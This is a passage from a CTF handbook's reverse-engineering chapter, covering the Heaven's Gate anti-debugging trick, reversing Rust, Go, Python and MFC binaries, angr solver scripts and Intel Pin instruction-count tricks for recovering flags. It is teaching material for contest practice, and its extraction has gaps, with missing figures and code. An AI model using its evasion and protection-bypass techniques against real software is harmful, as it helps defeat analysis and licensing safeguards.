RECORD structure on the stack.
PUSH handler
PUSH FS:[0]
This operation makes the ExceptionList entry in the thread information block
(i.e., TIB, at the start of the Thread Environment Block TEB) point to the new
EXCEPTION_REGISTRATION_RECORD structure (i.e., the head of the new
SEH chain). The TEB of the current thread is accessible via the FS register. Its
linear address is stored in FS:[ 0x18]. TEB and TIB’s partial definitions are as
follows.
7. Architecture Switch
64-bit Windows can still run 32-bit applications. In fact, 32-bit applications are
running on WoW64, a compatibility layer provided by Windows, and an architecture
switch is necessary for applications running on WoW64. A 32-bit application
running on a 64-bit Windows system needs to complete the architecture switch
before it can do system calls. The switch is often done through a routine inside
wow64cpu.dll commonly known as the Heaven’s Gate. Its logic is very simple and
can be described as the following.
// x86 asm
push 0x33 // cs:0x33
push x64_insn_addr
retf
In the real world, this is done by an fword jmp, which is similar to a retf.
Similarly, to switch the CPU from a 64-bit execution state back to a 32-bit state,
the following instructions can be used.
// x64 asm
push 0x23 // cs:0x23
push x86_insn_addr
retfq
For more details about the implementation of WoW64, interested readers can
check it out using search engines. Strictly speaking, this approach cannot be an
called anti-debugging technique, but most user-state debuggers in Windows can’t
trace the code after an architecture switch, hence we still consider it an anti
technique.
We recommend using WinDbg(x64) for debugging arch switching instructions.
Set a breakpoint at retf, and when the breakpoint is triggered, step-in, the debugger
will automatically switch to another architecture. After that, the debugger’s registers,
stack, address space, etc. are automatically adapted to the 64-bit mode. I used this
type of code in an RE challenge of the “Null Pointer” competition. Its name is
GatesXGame (https://www.npointer.cn/question.html?id¼5). Interested readers can
practice, learn how to debug it, and capture the flag.
This section only lists a few common and simple anti-debugging techniques at
Windows ring3 level. In fact, there are many different anti-debugging techniques for
different privilege levels and different operating systems. When we encounter them
in CTFs or in some actual reversing tasks, we should not be overwhelmed. Be
patient, understand how they work, then try to break them.
378 5 Reverse Engineering
Fig. 5.81 The control flow diagram after control flow flattening
In CTF competitions there are some other reverse challenges written in a high-level
language, such as Rust, Python, Go, C#, etc., and sometimes some specific libraries,
such as MFC, are involved. Rust, Go, etc. are high-level languages without virtual
380 5 Reverse Engineering
machines, while Python, C#, etc. are high-level languages based on virtual
machines. This section describes their analysis ideas and explains the general
approach to analyzing C++ MFC programs.
This section will explain how to analyze the Rust program using Insomni’hack teaser
2019s beginner_reverse as an example. When the program is loaded with IDA (see
Fig. 5.82), there are some strange function names in the left pane and some strings in
the right pane that look like std::rt::lang_ start_internal::, which can be guessed to be
a program written in some high-level language. Search the string on the Internet and
gets some information about the Rust language, which leads to the inference that it is
a Rust program. Of course, this is an analysis when there are symbols in the program,
but if the program is stripped, you can search for Rust strings such as main.rs in IDA
and infer whether the program is a Rust program or not.
After determining the language in which the program is written, some tools can
be used to optimize IDA’s analysis of the program to facilitate the analysis. A public
script tool called rust-reversing-helper has been released on GitHub, of which
tutorials can be found on https://kong.re.kr/?p¼71. 5 functions are implemented
by this tool, including the signature loading, which is the most important, optimizes
the identification of Rust functions, thus reducing analysis time.
The result of the rust-reversing-helper optimization is shown in Fig. 5.83. You
can see that the function name in the left Function name panel has been optimized,
and we can start to analyze it now. As a general rule of thumb, we tend to analyze the
std__rt__lang_start_internal function. However, unlike the regular challenges,
std__rt__lang_start_internal is Rust's initialization function, which functions as the
start function, and the function beginer_reverse_ _main function can be found above
call std__rt__lang_start_internal, so in Rust, the main function is used as an
argument of initialization function and is loaded and executed after the program is
initialized.
To continue the analysis of beginer_reverse__main, see Fig. 5.84, the logic of this
function is relatively intuitive: after loading some data, the program begins to read
the input, but the location of the input data is not known. Thus, despite the
optimization of the script tool, it is still difficult to restore the program flow in its
entirety. Here it is necessary to manually fix some recognition errors, such as the
read_line() function without a parameter and without assignment of its return value,
which is impossible. There are many ways to fix this, such as taking dynamic
debugging, placing a breakpoint at read_line(), observing the stack, or analyzing
the read_line() function to determine how many arguments it will have, or consulting
the data to fix it.
Now that we have a good idea of how to analyze Rust, subsequent analyses can be
solved with the usual static and dynamic analysis methods, which we will not
repeat here.
The following is an example of the reverse of Golang programs using
INCTF2018s ultimateGo as an example target. Figure 5.85 shows how it looks
when it was loaded by IDA. The start function is obviously different from the start
function of general ELF programs, from which we can infer that this program may
not be compiled by the conventional C/C++ compiler. Execute strings command,
output the visible strings contained in the program, and soon find some strings with
“.go” (see Fig. 5.86), we can infer that the program is written in Go language.
Likewise, to facilitate the analysis, Golang's optimization analysis scripting tools
are available on Github as golang_loader_assist and IDAGolangHelper. To recover
function names using IDAGolangHelper, see Fig. 5.87.
As you can see, the function name has been restored on the left side of the form,
and the main function is visible on the right side. As with Rust, the Go main function
382 5 Reverse Engineering
is taken as an argument and executed after initialization (see Fig. 5.88). off_54A470
is actually runtime_main. analyzing runtime_main reveals the main_main function
(see Fig. 5.89). At this point, Go’s main function is located completely, and then you
can start analyzing the main function.
Note that functions prefixed with runtime_, fmt_, etc. are the package names of
the go programs and can be understood from the function name, while functions
prefixed with main_ are functions written by the programmer himself, which need to
be analyzed in detail, and subsequent analysis can be done using general analysis
methods, which have been described in the previous article.
In short, whether it is Rust or Golang, such high-level language programs without
a virtual machine can be treated as C programs with a high level of abstraction and
some extra operations, and one should always look for features such as strings,
function names, symbolic variables, magic numbers, etc. to determine the language
to which they belong, to know what corrections to make. After the correction, it can
be analyzed as a C program.
C# and Python are high-level languages based on virtual machines. The bytecode
contained in the executable program or file is not the machine code of traditional
assembly instructions, but the bytecode of its virtual machine instructions, so it is not
suitable to use IDA analysis for such programs or files.
NET Reflector, ILSpy/dnSpy, Telerik JustDecompile, JetBrains dotPeek, etc. are
tools to analyze C#(.NET) programs. To analyze a C# program, just open it with
these tools and get the source code. Of course, this is if the C# program is
unprotected. For protected (packed) C# programs, you need to unpack them before
analyzing them using tools like de4dot. Since C# is not very common in CTF
competitions, we won't explain it here with examples, but readers can do their
research if they are interested.
5.6 High-level Programming Language Reverse 385
In the CTF competitions, the reverse engineering of Python is often the reverse
analysis of its PYC file, which is a bytecode file generated after the compilation of
the PYC file; for some unobfuscated PYC files, Python's uncompyle2 can restore
them to PY files; for obfuscated PYC files, if they cannot be deobfuscated, only the
virtual machine instructions can be analyzed.
Here is an example of Python 2.7. Before analyzing its virtual machine instruc-
tions, it is important to understand the Python PyCodeObject object, which is
defined in the following excerpt.
/* Bytecode object */
typedef struct {
PyObject_HEAD
int co_argcount; /* #arguments, except *args */
int co_kwonlyargcount; /* #keyword only arguments */
int co_nlocals; /* #local variables */
int co_stacksize; /* #entries needed for evaluation stack */
int co_flags; /* CO_..., see below */
PyObject *co_code; /* instruction opcodes */
PyObject *co_consts; /* list (constants used) */
PyObject *co_names; /* list of strings (names used) */
PyObject *co_varnames; /* tuple of strings (local variable names) */
PyObject *co_freevars; /* tuple of strings (free variable names) */
PyObject *co_cellvars; /* tuple of strings (cell variable names) */
/* The rest doesn't count for hash or comparisons */
unsigned char
*co_cell2arg; /* Maps cell vars which are arguments. */
PyObject *co_filename; /* unicode (where it was loaded from) */
variables, such as functions, classes, modules, etc.). As you can see from the source
code, PyCodeObject contains some important fields. For a PYC file, except the first
8 bytes of data (version number and modification time), what remains is a large
PyCodeObject. Execute the following command in Python to deserialize the read
binary data into a PyCodeObject.
import marshal
code = marshal.loads(data)
Here, the code is the PyCodeObject of the PYC file. Since PYC obfuscation is
often found in the co_code field of the PyCodeObject, the data in the co_code field
needs to be extracted and de-obfuscated. The obfuscation here is similar to the
obfuscation of traditional assembly instructions, so the method of de-obfuscation
is essentially the same as that of traditional assembly instructions, so I won’t repeat it
here. Note that obfuscated PyCodeObject may also appear in fields of
PyCodeObject, so you need to iteratively search all the iterable fields of the
PyCodeObject. After PYC obfuscation, we can try to decompile it using
uncompyle2.
If it is difficult to obfuscate and only virtual machine instructions can be analyzed,
you need to disassemble the bytecode by yourself according to the bytecode table of
the corresponding version of Python to analyze it.
MFC is a C++ class library developed by Microsoft to support the operation of some
Windows GUI programs. MFC wraps up the cumbersome message loop and mes-
sage handling processes of the Windows GUI, encapsulates the messages in C++
classes, and then distributes them to bound objects, which makes it easy for
developers to write programs quickly. Due to the multi-layered encapsulation of
the MFC, the reversers will find that a large number of message handling functions
are not directly code-referenced, but are called indirectly, which is a big problem for
the reversers.
The structure of the message mapping table stored inside the MFC is
AFX_MSGMAP and AFX_MSGMAP_ENTRY, which is as follows.
struct AFX_MSGMAP {
const AFX_MSGMAP* (PASCAL* pfnGetBaseMap)();
const AFX_MSGMAP_ENTRY* lpEntries;
};
struct AFX_MSGMAP_ENTRY {
UINT nMessage;
UINT nCode;
UINT nID;
UINT nLastID;
5.7 Modern Reverse Engineering Techniques 387
UINT_PTR nSig;
AFX_PMSG pfn;
}
Once you have found the MessageMap, you can find all the message processing
functions, and once you have found the message processing functions, you can use
general reverse analysis techniques to analyze them. Two solutions for finding the
MessageMap are described below.
1. Using CWnd’s class and instance methods, dynamically get the MessageMap
information of the target window.
The xspy tool automatically parses out the message handling functions by dragging
the cursor to the corresponding windows and buttons. Looking at the source code of
xspy, we can see that the internal principle of xspy is to inject a DLL into the
program and then hook the WndProc of the window in the injected DLL to get the
execution privileges of the program’s UI thread. In the MFC code, a hard-coded
existing pattern is used to search for the address of CWnd:: FromHandlePermanent,
and when it is found, the function can be used to convert the retrieved hWnd into an
instance of the CWnd class. Once it is converted to an instance of CWnd, you can
call various methods of CWnd, such as GetMessageMap, and so on.
2. use cross-reference relationships in IDA to find
Search for the CDialog string and find its cross-reference, the AFX_MSGMAP will
be found around there in IDA. You can also use IDA's constant searching function to
find AFX_MSGMAP_ENTRY by searching for the resource id of the button, but
because MFC programs are generally large and take a long time to complete the
analysis, the xspy tool is the better choice for quick and targeted targeting.
int y = read_int();
int z = y * 2;
if (z == 12)
printf("right ");
else
printf("wrong");
It is easy to analyze that when the input at read_int is 6, the program will output
right, while the symbolic execution engine will take y as an unknown number and
record the operations performed on this unknown number while the symbolic engine
is running, and finally, the precondition for the program to reach the correct location
of output is y*2¼¼12, and the input that satisfies the condition will be solved by this
expression.??
5.7.1.2 angr
Some off-the-shelf tools are already available for symbolic execution, see Table 5.7.
Among them, angr has the widest scope (most supported architectures) and is
very suitable for solving reverse challenges in CTFs with uncommon architectures
that are poorly supported by most tools. As an open-source project, angr’s develop-
ment is also very efficient, and although it is slow, it can be used appropriately to
assist players in solving some of the CTF reverse challenges more quickly and
easily.
Note that the angr project is still active, and its API has changed rapidly over the
past few years, and many of the previous scripts may no longer work, so there is no
guarantee that the sample code in this book will work on the latest version of angr.
The installation of angr is simple and supports all major platforms (Windows,
Mac, Linux) with the pip install angr command. However, because angr has made
some changes to z3, it is recommended to install it in a virtual environment.
At present, the latest version of angr is mainly divided into five modules: the main
analyzer angr, the constraint solver claripy, the binary file loader cle, the assembly
translator pyvex (which is used to translate binary code into a unified intermediate
language), and the architecture information database archinfo (which stores a lot of
architecture-related information and is used to deal with different architectures in a
targeted way).
The angr API is complex, and this section explains it using a number of chal-
lenges as examples so that the reader can better understand how to use it.
1. defcamp_r100
The defcamp_r100 program itself is relatively simple; the main logic is to read a
string from the input, and then enter the sub_4006FD function for verification, see
Fig. 5.90. In the sub_4006FD function, the author implemented a simple check logic
as shown in Fig. 5.91.
390 5 Reverse Engineering
Import angr
def main():
p = angr.Project("r100")
simgr = p.factory.simulation_manager(p.factory.full_init_state())
simgr.explore(find=0x400844, avoid=0x400855)
return simgr.found[0].posix.dumps(0).strip(b'\0\n')
def test():
assert main().startswith(b'Code_Talkers')
if __name__ == '__main__':
print(main())
Firstly angr.Project loads the program to be analyzed, then the script creates a
simulation_manager using p.factory.simulation_manager, which passes in a SimState
as the initial state. The state contains information about the program's registers, memory,
execution paths, and so on. The following three are typically used when creating.
• blank_state(**kwargs): Returns an uninitialized state, in which case you need to
set the entry address manually, as well as custom parameters.
• entry_state(**kwargs): Returns a state at the entry address of the program, used
by default.
• full_init_state(**kwargs): Similar to entry_state(**kwargs), but the call should
call the initialization function for each library before execution reaches the entry
point.
After setting the state, we need to get angr to execute to the target location as we
want. The goal of this challenge is to get the program to output the string “Nice” at
0x400844, so we need to fill in the find argument with this address, and the engine
will return the result when it reaches the address. The output of “Incorrect
5.7 Modern Reverse Engineering Techniques 391
p = angr.Project("r100",auto_load_libs=False)
If auto_load_libs is set to True (the default is True), then angr will automatically
load the dependent library and analyze it until the library function is called, which
will increase the analysis effort. If False, then the program will return an
unconstrained symbolic value when the function is called. In this case, since the
program uses exclusively functions from libc, angr has been specifically optimized
for this purpose and does not need to load the libc library.
It is then possible to specify that the program should start with the main function,
thus avoiding the need for angr to repeatedly perform initialization operations in the
program that are time-consuming and have no effect on the core verification
algorithm of the challenge. Instead of using entry_state, we can then use blank_state,
392 5 Reverse Engineering
which allows us to specify the start address manually, and specify the address of the
main function in the argument 0x4007E8.
But how to implement functions such as printf and scanf without libraries? Angr
provides an interface to hook these library functions to implement their
corresponding functions.
The printf function does not affect the analysis of the program, so you can just let
it return here. There are several pre-implemented library functions in angr, as you
can see in angr/procedures, we let the function return [‘stubs’]
[‘ReturnUnconstrained’].
p.hook_symbol('printf', angr.SIM_PROCEDURES['stubs']
['ReturnUnconstrained'](), replace=True)
class my_fgets(angr.SimProcedure):
def run(self, s,num,f):
simfd = self.state.posix.get_fd(0)
data, real_size = simfd.read_data(12)
self.state.memory.store(s, data)
return 12
p.hook_symbol('fgets',my_fgets(),replace=True)
Our fgets function takes the simulated standard output, then manually reads in
12 characters from the standard input, puts the read data into the memory address
pointed to by the first argument, and then returns 12 (the number of characters read)
directly.
After setting up the two functions, you can start symbolic execution.
simgr = p.factory.simulation_manager(state)
f = simgr.explore(find=0x400844, avoid=0x400855)
On the same computer, the official script example runs in 5.274 s, while the
optimized script runs in 1.641 s. As you can see, simply specifying the entry address
5.7 Modern Reverse Engineering Techniques 393
and rewriting the two library functions makes the execution of angr much faster. In
actual problem solving, if we optimize the script in a targeted way, we can get good
results.
2. baby-re (DEFCON 2016 quals)
In this challenge, the scanf function is called 12 times in a row to retrieve numbers
from the standard input, store them in an integer array, and finally enter
CheckSolution to examine the data, see Fig. 5.92.
As you can see from the control flow graph shown in Fig. 5.93, this function is
very large and cannot be analyzed using IDA’s “F5” function.
Let’s load the program and set the start address to the address where the main
function starts.
394 5 Reverse Engineering
p = angr.Project('./baby-re', auto_load_libs=False)
state = p.factory.blank_state(addr = 0x4025E7)
Likewise, we don’t want the engine to waste time with printf and fflush, two
functions that do not help analyze the program’s critical algorithms, so let them just
return.
p.hook_symbol('printf', angr.SIM_PROCEDURES['stubs']
['ReturnUnconstrained'](), replace=True)
p.hook_symbol('fflush', angr.SIM_PROCEDURES['stubs']
['ReturnUnconstrained'](), replace=True)
The function scanf gets an integer from the standard input each time it uses “%d”,
so let the scanf function put 4 bytes of data at the address pointed to by the
corresponding argument.
self.state.memory.store(des, data)
return 1
p.hook_symbol('__isoc99_scanf', my_scanf(),replace=True)
Then run.
s = p.factory.simulation_manager(state)
s.explore(find=0x4028E9, avoid=0x402941)
print(s.found[0].posix.dumps(0))
After a while, the program does output flags smoothly, but it takes longer, so we
can continue to try to optimize the script.
Many additional settings in angr are not described in detail in the official
documentation in the angr/sim_options.py file, where LAZY_SOLVES is described
as “stops SimRun for checking the satisfiability of successor states”, which means
that the current condition is not checked in real-time at runtime to see if it is possible
to successfully reach the target location. This cannot prevent some unsatisfied
situations from occurring, but it does significantly speed up the scripting process.
Using the following statement to enable the LAZY_SOLVES option.
s.one_active.options.add(angr.options.LAZY_SOLVES)
Before this option is enabled, scripts take 74.102 s to run, and after it is enabled,
scripts take 8.426 s to run, which is a huge difference. In earlier versions of angr, this
option was turned on by default, but in the newer versions, it is turned off by default.
In most cases, turning this option on can improve the efficiency of scripts.
In addition, are there any other optimizations that can be made? It can be observed
that many of the previous operations of the program are fetching inputs one by one,
which is relatively time-consuming. If you can put the input directly in memory and
then start the execution from the address of the call CheckSolution (0x4028E0), you
may be able to save the time of fetching the input one by one.
Angr’s simulations of standard input and file systems make it easy to fully
automate the creation of symbolic variables. However, because stream objects
such as standard input and file systems cannot simply infer the length of the input,
it often takes angr a long time to try different lengths to solve. Due to the improper
process of some specific input functions such as scanf in angr, the solver may not
work correctly, even reporting no solutions, so sometimes we need to manually forge
the input by claripy module in angr. Claripy is a wrapper for a symbolic solver
engine like z3, so it can be used as a native z3. claripy.BVS() can create symbolic
variables directly, similar to BitVec in z3, with the first parameter being the variable
name and the second parameter being the number of bits. . So, we can create user
input with the following code.
Then put these variables into their corresponding memory addresses, and for
convenience, put them directly into the memory address that rsp points to (don’t
forget to pass the parameter at the end).
for i in xrange(13):
state.mem[state.regs.rsp+i*4].dword = flag_chars[i]
state.regs.rdi = state.regs.rsp
s = p.factory.simulation_manager(state)
s.one_active.options.add(angr.options.LAZY_SOLVES)
s.explore(find = 0x4028E9, avoid = 0x402941)
After manually setting the symbolic variable, you cannot directly dump the
standard input to get the correct input, but angr’s solver directly provides an eval
function to get the corresponding value of the symbolic variable.
After doing so, we successfully optimized the script runtime from 8.461 s to
7.933 s.
3. sakura (Hitcon 2017)
This challenge is more or less the same as the previous two challenges, but after
verifying the input, it directly outputs the flag. Unfortunately, if you directly load this
program into angr and explore it, the script will be killed by the system after running
for a long time and consuming a large number of resources. This requires some
optimization. At the same time, because the validation function is too large, you need
to increase the limit of the number of nodes in IDA to see the control flow graph, see
Fig. 5.94.
After the initialization operation, the validation for each step is very similar, see
Fig. 5.95, and on the right side is a loop, at the end of which a judgment is made, and
if it is not equal, rbp+var_1E49 is assigned a value of 0, see Fig. 5.96.
At the end of the function, rbp+var_1E49 is returned directly to the higher-level
function as a return value, see Fig. 5.97. Then, all operations that assign 0 to rbp
+var_1E49 should be flags of flag errors, and these places should be avoided by
angr.
However, there are many operations that performed on this memory address in
the function, which can be extracted using idapython.
import idc
p = 0x850
end = 0x10FF5
addr = []
while p <= end:
asm = idc.GetDisasm(p)
if asm == 'mov [rbp+var_1E49], 0':
addr.append(p+0x400000)
5.7 Modern Reverse Engineering Techniques 397
p = idc.NextHead(p)
print(addr)
Although this program has PIE protection enabled, the base address of the
program is fixed at 0x400000 in the angr, so you should add that value when
extracting.
Finally, add the following steps and run directly.
found = simgr.one_found
text = found.solver.eval(found.memory.load(0x612040, 400),
cast_to=bytes)
h = hashlib.sha256(text)
flag = 'hitcon{'+h.hexdigest()+'}'
print(flag)
398 5 Reverse Engineering
In addition, the number of calls to the sub_110F4 and sub_1110E functions in this
verification function is very high (see Fig. 5.98), and the logic of these functions is so
5.7 Modern Reverse Engineering Techniques 399
simple that it is possible to analyze them manually and replace them with functions
of one’s implementation.
The functions cannot be hooked by hook_symbol, but angr supports hooking
specific addresses. For these simple functions, it is entirely possible to Hook the
place where they are called and replace the logic with our implementation. (Note:
The t-array is the location where these functions are called.)
400 5 Reverse Engineering
All call sub_11146 addresses are replaced with their own functions, and the call
instruction takes up 5 bytes, so the third argument length is 5. Alternatively, and
more simply, if the second function is passed in a SimProcedure class, then angr will
hook this address directly as a function.
5.7 Modern Reverse Engineering Techniques 401
class MY_sub_11146(angr.SimProcedure):
def run(self,a):
return a + 24
proj.hook((0x400000 + 0x11146),hook = MY_sub_11146())
Ultimately, the optimized script solves the reverse challenge in only 41 s. This is
the only way to solve the challenge.
This section describes only a small part of angr’s functionality. If you want to
become proficient in using angr in CTF, it is a good idea to read the documentation
for angr, as well as the scripts and official examples released by each team after the
tournament. The examples used in this section are from official examples of angr.
The reader can find the original programs under angr/angr-doc/examples and study
them on their own.
found = true;
inst[3] = 1;
}
printf("foo\n");
inst[4] = 1;
}
Binary instrumentation does not require the program’s source code and can be
performed on a compiled binary program. There are two types of binary instrumen-
tation, as follows.
• Static Binary Instrumentation: Inserts additional instructions and data and gener-
ates modified binary files before running.
• Dynamic Binary Instrumentation: Inserts additional code and data while the
program is running, without modifying the current executable.
For the x86 architecture, assuming you need to keep track of how many instructions
the program has executed, you can do the following.
PUSH EBP
COUNTER++;
MOV EBP, ESP
COUNTER++;
PUSH EBX
COUNTER++;
5.7.3 Pin
Pin itself comes out of the box, and since it is an Intel-developed engine, the official
default development environment may be a bit old. This section describes how to
configure a convenient and usable environment for Pintool development and use.
First, go to the official website and download the Pin environment for your
platform. The version configured in this section is Pin-3.7-97619-g0d0c92f4f-
msvc-windows. Extract the downloaded archive and you will see the default pin.
exe file in the directory, which is 32-bit. Since pin is architecture-dependent and has
32-bit and 64-bit versions, this section divide it into pin32 and pin64 for conve-
nience. Rename the current directory pin.exe to pin.bak and create a new pin32.bat
and fill in the following code.
@echo off
%~dp0\ia32\bin\pin.exe %*
Tools provided by Pin do not usually meet the requirements of CTF challenges,
so you need to develop your Pintool using APIs provided by Pin. The sample code
provided by Intel is available in the source\tools\MyPinTool directory, and you need
to use Visual Studio to develop Pintool. The development environment in this
section is Visual Studio 2017.
If the build is successful, the compilation is successful. Open the command line in
the directory where MyPinTool.dll was generated and enter the following command.
Generate a log.log in the current directory, which records the number of basic
blocks and instructions executed by the program, see Fig. 5.100.
The error shown in Fig. 5.101 is because the 32-bit pintool does not support
Windows 10 and needs to be compiled and run in Windows 7 or Windows 8 virtual
machines.
The compiled Pintool exists as a DLL on Windows and as a so on Linux and can be
used to start a program directly (see Fig. 5.102) or to attach to an existing program
(see Fig. 5.103).
This section uses MyPintool, which comes with Pin on Windows, as a framework to
explain the process.
The basic framework of MyPintool’s main function is as follows.
Pintool will first execute Pin_Init to initialize the Pin runtime library. If the
parameter has -h or the initialization fails and reports an error, it will output the
tool's help information, i.e., call Usage function, see Fig. 5.104.
Afterwards, Pintools will initialize the filename variable according to the command
line arguments. The definition of KnobOutputFile and KnobCount are in Fig. 5.105. O
argument will set the value of KnobOutputFile, which defaults to null, and count
argument will set the value of KnobCount, which defaults to 1. With KnobCount set,
three instrumentation functions are registered and PIN_StartProgram is called to run
the pinned program (PIN_StartProgram does not return).
See Table 5.8 for Pin-provided instrumentations.
Pin will instrument when a new instruction is executed in instruction-level
instrumentation. In other words, Pin can automate the instrumentations of dynami-
cally generated code, so you can use Pin to handle shelled programs.
406 5 Reverse Engineering
blocks using BBL_Next, and inserts the CountBbl function before the basic block is
executed. The number of all instructions and basic blocks will be counted before
each basic block is executed by calling the function (Fig. 5.107).
Therefore, it is possible to calculate the number of basic blocks and the number of
instructions executed by the program by instrumenting the basic blocks to obtain a
Pintool that records the number of instructions executed by the program, see Fig. 5.108.
This section explains the basic framework of Pintool, and more APIs are available
in Intel Pin's documentation at https://software.intel. com/sites/landingpage/pintool/
docs/97619/Pin/html/index.html.
This section describes how to use this instruction counter to solve the CTF challenge.
The reverse challenge in CTF can be abstracted as that a given input string flag,
computed by some algorithm f to get the result enc, and then compare the result enc
with the data embedded in the program. In the case that a change in some bytes in the
flag will only affect some bytes in the enc, then one can consider dividing the flag
into multiple segments, brute-force attacking the input, and treating the algorithm f
408 5 Reverse Engineering
directly as a black box, without reverse it. To do the brute-force attack, one needs to
find some way to verify that a part of the current input is correct. Consider that when
comparing data to enc, whether it is a handwritten loop comparison or using a library
function such as memcmp, the more same bytes enc and data have, the more
instructions will be executed. Therefore, we can use the number of instructions
executed as a flag to verify that a part of the current input is correct.
For the reverse challenge, we can first use Pin to verify whether the current
program meets the above requirements.
The example for this section is Hgame 2018 week4 re1. Since the overhead of
trace-level instrumentation is less than that of instruction-level instrumentation, we
do not count the number of instructions executed by the program, but rather the
number of basic blocks executed by the program.
First, create a new project and configure the environment according to the MyPintool
example provided. The overall framework of the program is shown in Fig. 5.109.
Since we are only interested in the number of basic blocks executed by the
program itself while it is running, and not in the execution in the external DLL,
we need to use IMG_AddInstrumentFunction to record the start and end addresses of
the program image, see Fig. 5.110.
Then use TRACE_AddInstrumentFunction to perform trace-level instrumenta-
tion and decide whether to perform instrumentation based on the current address of
the trace, see Fig. 5.111.
The stub function only needs to record the number of basic blocks, see Fig. 5.112,
and finally, print the recorded data, see Fig. 5.113, where the result is output to stdout
for further automation.
After compilation, we tested it using the sample program, and it worked fine, with
the number of basic blocks executed varying with the length of the input, see
Fig. 5.114.
410 5 Reverse Engineering
You can then use Python to count the number of basic blocks executed, as shown
in Fig. 5.115.
calc_bbl uses subprocess to get the number of basic blocks that the program
executes for the current Payload, and check_charset iterates through the charset and
outputs the result. The result of the run is shown in Fig. 5.116.
5.7 Modern Reverse Engineering Techniques 411
When the input is 3, the number of basic blocks executed is different from the
other inputs, so consider using diff¼2 as a verification flag. The reason why the
above character set starts and ends with 0 is that if "}" is the correct input, it is bound
to be wrong when the 0 is verified again later so that you can see the change of the
execution result and facilitate verification.
After automating this entire process, the flag is automatically calculated, see
Fig. 5.117, and the flag is entered into the program to verify that an error was
found, see Fig. 5.118.
Because some extra work is performed after the flag is validated correctly, the
difference in the number of basic blocks performed is not just 2. Analyzing the
results, we find that the letter b is probably the correct character, see Fig. 5.119.
Completing the flag and we can pass the verification, see Fig. 5.120.
It is very difficult to analyze OLLVM directly because it obfuscates the control flow
of the program, but if you use Pin to record the basic blocks that the program has
executed, you can get the execution flow of the program, which will help us in the
reverse analysis.
The example in this section is the reverse of the Pediy CTF 2018 challenge:
Wailing Wall. After entering the main function, you are confronted with a wall in the
IDA flowchart, see Fig. 5.121.
We consider the use of Pin to instrument a basic block and record the flow of
execution of the basic block. First, create a new Pintool project based on MyPintool
412 5 Reverse Engineering
running it, the Pintool records the basic blocks that have been executed, see
Fig. 5.125. Note that out is an opened file stream and needed to be closed when
the execution is finished, or some of the information may be lost.
The log.log contains the recorded instruction sequence, see Fig. 5.126. Since the
address does not visualize which basic blocks have been executed, the IDA script
can be used to color the program’s basic blocks, marking those that have been
executed. Due to space limitations, we only give the core code for coloring the basic
blocks (see Fig. 5.127; see the Appendix for the complete script). The results are
shown in Fig. 5.128.
Once we have the information about the executed basic blocks, we can easily
analyze the program algorithm. If you are familiar with IDAPython, you can also
color the basic blocks according to the number of times they have been executed.
5.7 Modern Reverse Engineering Techniques 415
Fig. 5.127 The core code for coloring the basic blocks
Due to space limitations, this section only describes how to use Pin to record
instruction execution, and does not go into a more specific analysis of the Wailing
Wall algorithm.
In CTF, some virtual machine reverse challenges specifically implement the cmp
instruction to complete the data comparison. In this case, you can consider using Pin
to instrument such instructions and trace the comparison to guess the internal
algorithm of the reversed program.
416 5 Reverse Engineering
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABC
5.7 Modern Reverse Engineering Techniques 417
Then use the Pintool to trace the execution information (Fig. 5.133). The contents
of the log file are shown in Fig. 5.134.
The last comparison is between 0xcbaaaaaa and 0xebbaa84d. Since 0xcbaaaaaa is
exactly the last 8 bytes of the input flag, it is assumed that 0xebbaa84d is the last
8 bytes of the real flag.
418 5 Reverse Engineering
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD48AABBE
Here the program already assumes that the input flag is correct because Pintool
has set the comparison variable of the flag to be correct.
The log file generated by Pintool is shown in Fig. 5.140.
It can be seen that the flag has been written to the log file, and using the calculated
flag to enter the challenge without instrumentation, the verification is passed, see
Fig. 5.141.
Pin can trace instruction execution information, modify memory, and its appli-
cation scenarios are not limited to virtual machines, but the reader should
explore more.
Pin is a very powerful tool for instrumentation, and like IDA, the same software will
work differently in different hands. As the old saying goes, “To do a good job, one
422 5 Reverse Engineering
must first sharpen one's tools”. Due to the limited space, the usage of Pin introduced
in this section is only the “tip of the iceberg”. The real CTF has no routine, and only
by diligently checking documents and developing ideas can Pin play the biggest role
in CTF.
In the reverse process, certain techniques that are normally applied in other fields can
play an unexpected role. Challenges that examine such techniques are more appro-
priately classified as miscellaneous. The following is a brief overview of the
techniques that have been used in CTF.
5.8.1 Hook
VMProtect exits the VM when it encounters API calls of the system, so we can
use Hook. with the Hook SleepEx function, we can speed up the changes, and since
moving the mouse requires the use of the SetCursorPos API, we Hook it to get the
data for each turn. This way, all the data can be obtained. After the reorganization,
you can get the second layer of files of the program.
When the compiler is not optimized sufficiently, the entire library is compiled into
the binary when the program containing the library is compiled, which results in
some functions appearing in the program even though they are not used. Because
libraries are written with completeness in mind, many encryption functions are often
found in pairs, and they are often compiled together in a program.
For example, for the *CTF 2019 reverse fanoGo challenge, the author wrote an
algorithm for Shannon Fano encoding in Golang but included the decoding function,
see Fig. 5.143.
Even more, coincidentally, the prototypes of these two functions are extremely
similar.
You can see that the second argument is all string. we can even just change call
fano_ _ _Fano_ _Decode to call fano_ _ _Fano_ _Encode to get the correct input.
so the key is to get the real maze array. We can either use kernel debugging, or we
can bypass the driver protection using PCHunter, which looks at the thread list of a
process and gets the address of the TEB, see Fig. 5.144.
The StackBase member at the TEB+8 offset is the address of the stack
corresponding to this thread, see Fig. 5.145. We can Dump the memory of the
TEB to get the address information of the Stack and continue Dumping the stack
with the corresponding address of the program, i.e. we get the target maze array.
5.9 Summary
This chapter introduces the common reverse engineering tools and methods used in
CTF, but the reverse challenges in CTF may be much more than that, sometimes
there may even be some non-running, not-decompilable programs, these challenges
may be IoT firmware, or very rare architectures, such as nanoMIPS. The basic skills
and resilience of the participants will be tested.
In my opinion, there is no such thing as a “routine” in reverse; only if you are
familiar with the operating mechanism of the program, the characteristics of various
systems and architectures, and various encryption and decryption methods, can you
be more comfortable in solving reverse challenges.
5.9 Summary 427
You may be confused by the word “PWN”. “PWN” doesn’t like Web or CRYPTO
which represent a specific meaning. In fact, “PWN” is an onomatopoeia that
represents the “bang” of a hacker gaining access to a computer through a vulnera-
bility. It is a slang term derived from the verb own. In short, the process of gaining
access to a computer through a vulnerability in binary is called PWN.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 429
Nu1L Team, Handbook for CTFers,
